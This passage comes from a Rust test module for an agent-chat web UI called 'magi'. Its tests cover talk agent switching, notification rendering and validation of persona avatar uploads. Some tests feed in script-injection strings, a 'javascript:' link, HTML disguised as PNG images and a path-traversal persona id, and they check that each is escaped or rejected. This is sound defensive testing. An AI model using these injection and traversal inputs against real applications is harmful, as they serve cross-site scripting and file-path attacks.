13177 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13178 let id = talk.id.clone();
13179 let call = |agent: &str| {
13180 talk_agent(
13181 State(Arc::clone(&ui)),
13182 Path(id.clone()),
13183 Json(TalkAgent {
13184 agent: agent.to_owned(),
13185 }),
13186 )
13187 };
13188
13189 let unknown = call("nobody").await.expect_err("unknown agent");
13190 assert_eq!(
13191 unknown.status,
13192 StatusCode::BAD_REQUEST,
13193 "{}",
13194 unknown.message
13195 );
13196
13197 {
13198 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13201 let busy = call("second").await.expect_err("busy talk");
13202 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13203 assert!(
13204 busy.message.contains("a talk turn is running"),
13205 "{}",
13206 busy.message
13207 );
13208 drop(guard);
13209 }
13210 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13211
13212 let Json(view) = call("second").await.expect("switch");
13213 assert_eq!(view.talk.agent, "second");
13214 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13215 let saved = talks.get(&id).expect("reload");
13216 assert_eq!(saved.agent, "second");
13217 assert_eq!(saved.turns.len(), 1);
13218 assert!(!view.thinking);
13219 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13220 for agent in ["mock", "second"] {
13221 let Json(view) = call(agent).await.expect("immediate consecutive change");
13222 assert_eq!(view.talk.agent, agent);
13223 assert!(!view.thinking);
13224 assert!(!ui.is_thinking(&id));
13225 }
13226
13227 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13228 .await
13229 .expect("detail");
13230 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13231 assert_eq!(roster, ["mock", "second"]);
13232
13233 let mut closed = talks.get(&id).expect("reload");
13234 talk::close(&mut closed, &talks).expect("close");
13235 let refused = call("mock").await.expect_err("closed talk");
13236 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13237 assert!(
13238 refused.message.contains("takes no more turns"),
13239 "{}",
13240 refused.message
13241 );
13242 }
13243
13244 #[tokio::test]
13245 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13246 let tmp = TempDir::new().expect("tempdir");
13247 let repo = tmp.path().join("repo");
13248 std::fs::create_dir_all(&repo).expect("repo dir");
13249 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13250 let home = TempDir::new().expect("temp home");
13251 let talks = Talks::at(home.path().join("talks"));
13252 let ui = Arc::new(
13253 Ui::new(
13254 Queue::at(home.path().join("queue")),
13255 Questions::at(home.path().join("questions")),
13256 talks.clone(),
13257 home.path().join("runs"),
13258 home.path().to_path_buf(),
13259 repo.clone(),
13260 )
13261 .with_worktrees_root(home.path().join("wt")),
13262 );
13263 let cfg = config_for(&repo).await.expect("discover config");
13264 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13265 let id = talk.id.clone();
13266 let call = |n: u8| {
13267 talk_implementers(
13268 State(Arc::clone(&ui)),
13269 Path(id.clone()),
13270 Json(TalkImplementers { implementers: n }),
13271 )
13272 };
13273
13274 for bad in [0u8, 4] {
13275 let e = call(bad).await.expect_err("out of range");
13276 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13277 }
13278 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13279
13280 {
13281 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13284 let busy = call(2).await.expect_err("busy talk");
13285 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13286 assert!(
13287 busy.message.contains("a talk turn is running"),
13288 "{}",
13289 busy.message
13290 );
13291 drop(guard);
13292 }
13293
13294 let Json(view) = call(3).await.expect("switch");
13295 assert_eq!(view.talk.implementers, 3);
13296 assert!(talks.get(&id).expect("reload").implementers_dirty);
13297 assert!(!view.thinking);
13298 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13299 for n in [1, 2, 3] {
13300 let Json(view) = call(n).await.expect("immediate consecutive change");
13301 assert_eq!(view.talk.implementers, n);
13302 assert!(!view.thinking);
13303 assert!(!ui.is_thinking(&id));
13304 }
13305
13306 let mut closed = talks.get(&id).expect("reload");
13307 talk::close(&mut closed, &talks).expect("close");
13308 let e = call(2).await.expect_err("closed talk");
13309 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13310 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13311 }
13312
13313 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13315 let tmp = TempDir::new().expect("tempdir");
13316 let repo = tmp.path().join("repo");
13317 std::fs::create_dir_all(&repo).expect("repo dir");
13318 std::fs::write(
13319 repo.join("magi.toml"),
13320 format!("{MOCK_AGENT_TOML}\n{extra}"),
13321 )
13322 .expect("write magi.toml");
13323 let home = TempDir::new().expect("temp home");
13324 let talks = Talks::at(home.path().join("talks"));
13325 let ui = Arc::new(
13326 Ui::new(
13327 Queue::at(home.path().join("queue")),
13328 Questions::at(home.path().join("questions")),
13329 talks.clone(),
13330 home.path().join("runs"),
13331 home.path().to_path_buf(),
13332 repo.clone(),
13333 )
13334 .with_worktrees_root(home.path().join("wt")),
13335 );
13336 let cfg = config_for(&repo).await.expect("discover config");
13337 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13338 (tmp, home, ui, talk.id, repo)
13339 }
13340
13341 #[tokio::test]
13342 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13343 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13344 let mut conversation = ui.talks.get(&id).unwrap();
13345 talk::record(
13346 &mut conversation,
13347 &ui.talks,
13348 "# Update on a task you filed\noperator words",
13349 vec![],
13350 )
13351 .unwrap();
13352 conversation.turns[0].sender = None;
13354 conversation.turns[0].messages.clear();
13355 ui.talks.put(&mut conversation).unwrap();
13356 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13357 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13358 talk::drain(&mut conversation, &ui.talks).unwrap();
13359 talk::record_reply(
13360 &mut conversation,
13361 &ui.talks,
13362 "about that report",
13363 vec![],
13364 Some(talk::ReplyTarget {
13365 turn: 1,
13366 message: 1,
13367 }),
13368 )
13369 .unwrap();
13370 conversation.turns[2].messages[0]
13371 .reply
13372 .as_mut()
13373 .unwrap()
13374 .sender = None;
13375 conversation.turns.push(talk::Turn {
13376 sender: Some(talk::Sender::Persona),
13377 who: talk::Who::Agent,
13378 body: "magi: actual persona words".into(),
13379 at: Timestamp::now(),
13380 attachments: vec![],
13381 usage: None,
13382 breaks: None,
13383 messages: vec![],
13384 posted_by: None,
13385 });
13386 ui.talks.put(&mut conversation).unwrap();
13387 let view = TalkView::with_config(
13388 ui.talks.get(&id).unwrap(),
13389 false,
13390 None,
13391 &ui.home,
13392 &ui.references,
13393 );
13394 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13395 assert_eq!(
13396 view.talk.turns[1].messages[0].sender,
13397 Some(talk::Sender::Operator)
13398 );
13399 assert_eq!(
13400 view.talk.turns[1].messages[1].sender,
13401 Some(talk::Sender::Magi)
13402 );
13403 assert_eq!(
13404 view.talk.turns[2].messages[0]
13405 .reply
13406 .as_ref()
13407 .unwrap()
13408 .sender,
13409 Some(talk::Sender::Magi)
13410 );
13411 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13412 assert_eq!(view.turn_messages_md[0].len(), 1);
13413 assert!(view.turn_messages_md[0][0].is_none());
13414 assert!(view.turn_messages_md[1][0].is_none());
13415 assert!(view.turn_messages_md[1][1].is_some());
13416 }
13417
13418 #[tokio::test]
13419 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13420 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13421 let mut conversation = ui.talks.get(&id).unwrap();
13422 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13423 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13424 talk::queue_notice(
13425 &mut conversation,
13426 &ui.talks,
13427 &body,
13428 "watch:123",
13429 &|_| false,
13430 None,
13431 display.clone(),
13432 )
13433 .unwrap();
13434 assert!(
13435 !talk::queue_notice(
13436 &mut conversation,
13437 &ui.talks,
13438 &body,
13439 "watch:123",
13440 &|_| false,
13441 None,
13442 display.clone()
13443 )
13444 .unwrap()
13445 );
13446 let saved = ui.talks.get(&id).unwrap();
13447 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13448 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13449 assert!(
13450 view.talk.turns[0].messages[0].display.is_none(),
13451 "operator copy stays literal"
13452 );
13453 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13454 assert!(view.turn_messages_md[0][0].is_none());
13455 let queued_md = view.pending_messages_md[0].clone();
13456 assert_eq!(
13457 queued_md,
13458 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13459 );
13460 talk::drain(&mut conversation, &ui.talks).unwrap();
13461 talk::record_reply(
13462 &mut conversation,
13463 &ui.talks,
13464 "Explain",
13465 vec![],
13466 Some(talk::ReplyTarget {
13467 turn: 1,
13468 message: 0,
13469 }),
13470 )
13471 .unwrap();
13472 let mut saved = ui.talks.get(&id).unwrap();
13473 assert_eq!(saved.turns[1].messages[0].body, body);
13474 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13475 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13476 assert!(!reply.excerpt.contains("automatic report"));
13477 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13480 let view = TalkView::with_config(
13481 ui.talks.get(&id).unwrap(),
13482 false,
13483 None,
13484 &ui.home,
13485 &ui.references,
13486 );
13487 assert_eq!(view.turn_messages_md[1][0], queued_md);
13488 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13489 assert!(
13490 !view.talk.turns[2].messages[0]
13491 .reply
13492 .as_ref()
13493 .unwrap()
13494 .excerpt
13495 .contains("automatic report")
13496 );
13497 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13498 }
13499
13500 #[tokio::test]
13501 async fn consultation_display_hides_directives_in_queue_and_history() {
13502 for node in [
13503 "implement",
13504 crate::land::APPROVAL_NODE,
13505 crate::github_text::ASK_NODE,
13506 ] {
13507 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13508 let mut question = Question::new(
13509 "run-123".into(),
13510 node.into(),
13511 "seat-1".into(),
13512 "Which backend?".into(),
13513 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13514 vec!["SQLite".into(), "Redis".into()],
13515 );
13516 ui.questions.put(&mut question).unwrap();
13517 let body = crate::prompt::chat_consult(&question);
13518 let mut conversation = ui.talks.get(&id).unwrap();
13519 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13520 assert!(
13521 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13522 );
13523 conversation = ui.talks.get(&id).unwrap();
13524 assert_eq!(conversation.pending_messages[0].body, body);
13525 assert!(body.contains("magi answer"));
13526 let mut legacy_pending = conversation.clone();
13527 legacy_pending.pending_messages[0].display = None;
13528 let legacy_view =
13529 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13530 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13531 assert!(legacy_md.contains("Question consultation"));
13532 assert!(!legacy_md.contains("magi answer"));
13533 let view =
13534 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13535 assert!(
13536 view.turn_messages_md[0][0].is_none(),
13537 "operator copy stays literal"
13538 );
13539 let queued_md = view.pending_messages_md[0].clone().unwrap();
13540 let rendered = serde_json::to_string(&queued_md).unwrap();
13541 for visible in [
13542 "Which backend?",
13543 "Context",
13544 "storage",
13545 "SQLite",
13546 "Redis",
13547 "<script>literal</script>",
13548 ] {
13549 assert!(rendered.contains(visible), "missing {visible}");
13550 }
13551 for directive in [
13552 "What to do",
13553 "magi answer",
13554 "Never answer it yourself",
13555 "Do not edit the repository",
13556 ] {
13557 assert!(!rendered.contains(directive), "exposed {directive}");
13558 }
13559 assert_eq!(
13560 view.talk.pending_messages[0].display,
13561 Some(crate::prompt::chat_consult_display(&question))
13562 );
13563 talk::drain(&mut conversation, &ui.talks).unwrap();
13564 let view =
13565 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13566 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13567 assert_eq!(conversation.turns[1].messages[0].body, body);
13568
13569 conversation.turns[1].messages[0].display = None;
13572 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13573 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13574 assert!(legacy.contains("Question consultation"));
13575 assert!(!legacy.contains("magi answer"));
13576 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13577 }
13578 }
13579
13580 #[test]
13581 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13582 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13583 let (body, mut display) =
13584 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13585 display.facts = facts.into();
13586 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13587 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13588 let json = serde_json::to_string(&nodes).unwrap();
13589 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13590 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13591 }
13592 assert!(json.contains("<script>alert(1)</script>"));
13593 assert!(!json.contains("javascript:"));
13594 assert!(!json.contains("Tell the operator"));
13595 assert!(!json.contains("untrusted"));
13596 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13597 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13598 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13599 assert_eq!(
13600 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13601 md::to_nodes("# Status", &md::ImageBase::None),
13602 );
13603 }
13604
13605 #[tokio::test]
13606 async fn notification_display_recovers_exact_legacy_completion_references() {
13607 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13608 let mut conversation = ui.talks.get(&id).unwrap();
13609 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13610 id: "task-123",
13611 title: "Change",
13612 status: "done",
13613 reason: None,
13614 run: Some("run-123"),
13615 pr: None,
13616 summary: Some("Merge state unknown"),
13617 });
13618 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13619 conversation.turns[0].sender = None;
13620 conversation.turns[0].messages.clear();
13621 conversation.turns[0].breaks = None;
13622 conversation.pending = body.clone();
13623 conversation
13624 .completion_notices
13625 .push(crate::chat_notify::CompletionReference {
13626 task: "task-123".into(),
13627 run: Some("run-123".into()),
13628 notice: body.clone(),
13629 });
13630 ui.talks.put(&mut conversation).unwrap();
13631 let view = TalkView::with_config(
13632 ui.talks.get(&id).unwrap(),
13633 false,
13634 None,
13635 &ui.home,
13636 &ui.references,
13637 );
13638 assert_eq!(
13639 view.talk.turns[0].messages[0].display,
13640 Some(display.clone())
13641 );
13642 assert_eq!(view.talk.pending_messages[0].display, Some(display));
13643 assert_eq!(
13644 view.talk.turns[0].messages[0].sender,
13645 Some(talk::Sender::Magi)
13646 );
13647 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13648 conversation.completion_notices[0]
13649 .notice
13650 .push_str("different");
13651 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13652 assert!(view.talk.turns[0].messages.is_empty());
13653 assert!(view.talk.pending_messages.is_empty());
13654 }
13655
13656 #[tokio::test]
13657 async fn avatar_settings_report_states_and_inherit_after_corruption() {
13658 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13659 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13660 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13661 ))
13662 .await;
13663 let path = avatar_setting_path(home.path(), Some("rei"));
13664 let orphan = avatar_setting_path(home.path(), Some("removed"));
13665 save_icon_file(&orphan, icon).unwrap();
13666 for (saved, expected) in [
13667 (icon, "custom"),
13668 ("builtin", "builtin"),
13669 ("data:image/png;base64,!!!!", "inherit"),
13670 ("data:image/png;base64,PGh0bWw+", "inherit"),
13671 ("/tmp/avatar.png", "inherit"),
13672 ] {
13673 atomic_icon_write(&path, saved).unwrap();
13674 let catalog =
13675 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13676 .await
13677 .unwrap()
13678 .0;
13679 let personas = catalog["personas"].as_array().unwrap();
13680 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13681 assert_eq!(rei["override_state"], expected);
13682 assert_eq!(rei["has_config_icon"], true);
13683 assert_eq!(rei["is_orphan"], false);
13684 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13685 assert_eq!(removed["override_state"], "custom");
13686 assert_eq!(removed["is_orphan"], true);
13687 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13688 assert_eq!(default["override_state"], "inherit");
13689 assert_eq!(default["has_config_icon"], false);
13690 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13691 assert_eq!(
13692 effective.as_deref(),
13693 Some(if expected == "builtin" { "" } else { icon })
13694 );
13695 }
13696 }
13697
13698 #[tokio::test]
13699 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13700 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13701 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13702 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13703 ))
13704 .await;
13705 let target = |id: Option<&str>| AvatarSettingsQuery {
13706 persona: id.map(str::to_owned),
13707 ..Default::default()
13708 };
13709 let original_config = config_for(&repo).await.unwrap();
13710 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13711 let original_prompt = persona::section_for(&original_persona, None);
13712 let before = talk_detail(State(ui.clone()), Path(id.clone()))
13713 .await
13714 .unwrap()
13715 .0;
13716 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13717 let _ = avatar_settings_put(
13718 State(ui.clone()),
13719 Query(target(persona)),
13720 Json(MagiIconUpload { icon: icon.into() }),
13721 )
13722 .await
13723 .unwrap();
13724 let path = avatar_setting_path(home.path(), persona);
13725 assert!(path.starts_with(home.path().join("avatars")));
13726 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13727 for bad in [
13728 "/tmp/image.png".to_owned(),
13729 "data:image/png;base64,!!!!".to_owned(),
13730 "data:image/png;base64,PGh0bWw+".to_owned(),
13731 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13732 format!(
13733 "data:image/png;base64,{}",
13734 "A".repeat(persona_icon::ICON_MAX_BYTES)
13735 ),
13736 ] {
13737 assert!(
13738 avatar_settings_put(
13739 State(ui.clone()),
13740 Query(target(persona)),
13741 Json(MagiIconUpload { icon: bad })
13742 )
13743 .await
13744 .is_err()
13745 );
13746 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13747 }
13748 }
13749 assert!(read_magi_icon(home.path()).is_none());
13750 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13751 let after = talk_detail(State(ui.clone()), Path(id.clone()))
13752 .await
13753 .unwrap()
13754 .0;
13755 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13756 assert_ne!(
13757 before
13758 .personas
13759 .iter()
13760 .find(|p| p.id == "magi")
13761 .unwrap()
13762 .avatar,
13763 after
13764 .personas
13765 .iter()
13766 .find(|p| p.id == "magi")
13767 .unwrap()
13768 .avatar
13769 );
13770 let restarted = Arc::new(Ui::new(
13771 Queue::at(home.path().join("queue")),
13772 Questions::at(home.path().join("questions")),
13773 Talks::at(home.path().join("talks")),
13774 home.path().join("runs"),
13775 home.path().to_owned(),
13776 repo,
13777 ));
13778 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13779 .await
13780 .unwrap()
13781 .0;
13782 assert!(
13783 catalog["personas"]
13784 .as_array()
13785 .unwrap()
13786 .iter()
13787 .any(|p| p["id"] == "../custom/日本語")
13788 );
13789 for expected in ["custom", "default", "rei"] {
13790 assert!(
13791 catalog["personas"]
13792 .as_array()
13793 .unwrap()
13794 .iter()
13795 .any(|p| p["id"] == expected)
13796 );
13797 }
13798 let response =
13799 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13800 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13801 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13802 .await
13803 .unwrap();
13804 assert_eq!(
13805 effective_persona_icon(home.path(), "rei", Some(icon)),
13806 Some(String::new())
13807 );
13808 let response = talk_avatar(
13809 State(restarted.clone()),
13810 Path(id.clone()),
13811 Query(AvatarQuery {
13812 persona: Some("rei".into()),
13813 ..Default::default()
13814 }),
13815 )
13816 .await
13817 .unwrap();
13818 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13819 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13820 .await
13821 .unwrap()
13822 .0;
13823 assert_ne!(
13824 after
13825 .personas
13826 .iter()
13827 .find(|p| p.id == "rei")
13828 .unwrap()
13829 .avatar,
13830 reset
13831 .personas
13832 .iter()
13833 .find(|p| p.id == "rei")
13834 .unwrap()
13835 .avatar
13836 );
13837 let mut inherit = target(Some("rei"));
13838 inherit.inherit = Some("1".into());
13839 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13840 .await
13841 .unwrap();
13842 assert_eq!(
13843 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13844 Some(icon)
13845 );
13846 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13847 .await
13848 .unwrap();
13849 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13850 assert_eq!(
13851 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13852 Some(icon)
13853 );
13854 let cfg = config_for(&ui.repo).await.unwrap();
13856 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13857 assert_eq!(persona::section_for(&resolved, None), original_prompt);
13858 assert!(!original_prompt.contains("data:image"));
13859 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13860 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13861 assert!(!stored.contains("data:image"));
13862 let mut orphan = ui.talks.get(&id).unwrap();
13863 orphan.persona = "../custom/日本語".into();
13864 let view = TalkView::with_config(
13865 orphan,
13866 false,
13867 Some(&cfg),
13868 home.path(),
13869 &id_links::IndexCache::default(),
13870 );
13871 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13872 }
13873
13874 #[tokio::test]
13875 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13876 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13877 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13878 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13879 let _ = magi_icon_put(
13880 State(ui.clone()),
13881 Json(MagiIconUpload { icon: icon.into() }),
13882 )
13883 .await
13884 .unwrap();
13885 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13886 assert_ne!(original, changed);
13887 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13888 let response = magi_avatar(
13889 State(ui.clone()),
13890 Query(AvatarQuery {
13891 persona: None,
13892 builtin: None,
13893 }),
13894 )
13895 .await;
13896 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13897 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13898 assert_eq!(
13899 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13900 "nosniff"
13901 );
13902 for bad in [
13903 "data:image/png;base64,PGh0bWw+".to_owned(),
13904 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13905 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13906 ] {
13907 assert!(save_magi_icon(home.path(), &bad).is_err());
13908 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13909 }
13910 let restarted = Arc::new(Ui::new(
13912 Queue::at(home.path().join("queue")),
13913 Questions::at(home.path().join("questions")),
13914 Talks::at(home.path().join("talks")),
13915 home.path().join("runs"),
13916 home.path().to_path_buf(),
13917 repo,
13918 ));
13919 assert_eq!(
13920 magi_icon_get(State(restarted.clone())).await.0["avatar"],
13921 changed
13922 );
13923 let view = TalkView::with_config(
13924 restarted.talks.get(&id).unwrap(),
13925 false,
13926 None,
13927 &restarted.home,
13928 &restarted.references,
13929 );
13930 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13931 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13932 let response = magi_avatar(
13933 State(ui.clone()),
13934 Query(AvatarQuery {
13935 persona: None,
13936 builtin: None,
13937 }),
13938 )
13939 .await;
13940 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13941 .await
13942 .unwrap();
13943 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13944 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13945 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13946 let _ = magi_icon_delete(State(ui)).await.unwrap();
13947 }
13948
13949 async fn avatar(
13951 ui: &Arc<Ui>,
13952 id: &str,
13953 persona: Option<&str>,
13954 builtin: bool,
13955 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13956 let res = talk_avatar(
13957 State(Arc::clone(ui)),
13958 Path(id.to_owned()),
13959 Query(AvatarQuery {
13960 persona: persona.map(str::to_owned),
13961 builtin: builtin.then(|| "1".to_owned()),
13962 }),
13963 )
13964 .await
13965 .expect("an avatar is never an error response");
13966 let h = res.headers();
13967 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13968 let nosniff = h
13969 .get(header::X_CONTENT_TYPE_OPTIONS)
13970 .is_some_and(|v| v == "nosniff");
13971 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13972 let status = res.status();
13973 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13974 .await
13975 .expect("body")
13976 .to_vec();
13977 (status, ct, nosniff, csp, body)
13978 }
13979
13980 fn tiny_png() -> Vec<u8> {
13981 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13982 b.extend_from_slice(&[0u8; 32]);
13983 b
13984 }
13985
13986 #[tokio::test]
13987 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
13988 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
13989 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
13990 assert_eq!(res.status(), StatusCode::OK);
13991 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
13992 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
13993 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
13994 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
13995 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13996 .await
13997 .unwrap();
13998 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
13999 assert_ne!(
14000 persona_icon::operator_svg(),
14001 persona_icon::builtin_svg("default")
14002 );
14003 }
14004
14005 #[tokio::test]
14006 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14007 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14008 for p in [
14009 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14010 ] {
14011 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14012 assert_eq!(status, StatusCode::OK, "{p}");
14013 assert_eq!(ct, "image/svg+xml", "{p}");
14014 assert!(nosniff && csp, "{p}");
14015 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14016 }
14017 let own = avatar(&ui, &id, None, false).await;
14019 let default = avatar(&ui, &id, Some("default"), false).await;
14020 assert_eq!(own.4, default.4);
14021 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14022 assert_eq!(unknown.1, "image/svg+xml");
14023 }
14024
14025 #[tokio::test]
14026 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14027 let dir = TempDir::new().expect("icons");
14028 let good = dir.path().join("good.png");
14029 std::fs::write(&good, tiny_png()).unwrap();
14030 let spoof = dir.path().join("spoof.png");
14031 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14032 let big = dir.path().join("big.png");
14033 let mut bytes = tiny_png();
14034 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14035 std::fs::write(&big, bytes).unwrap();
14036 let missing = dir.path().join("missing.png");
14037 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14038 let extra = format!(
14039 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
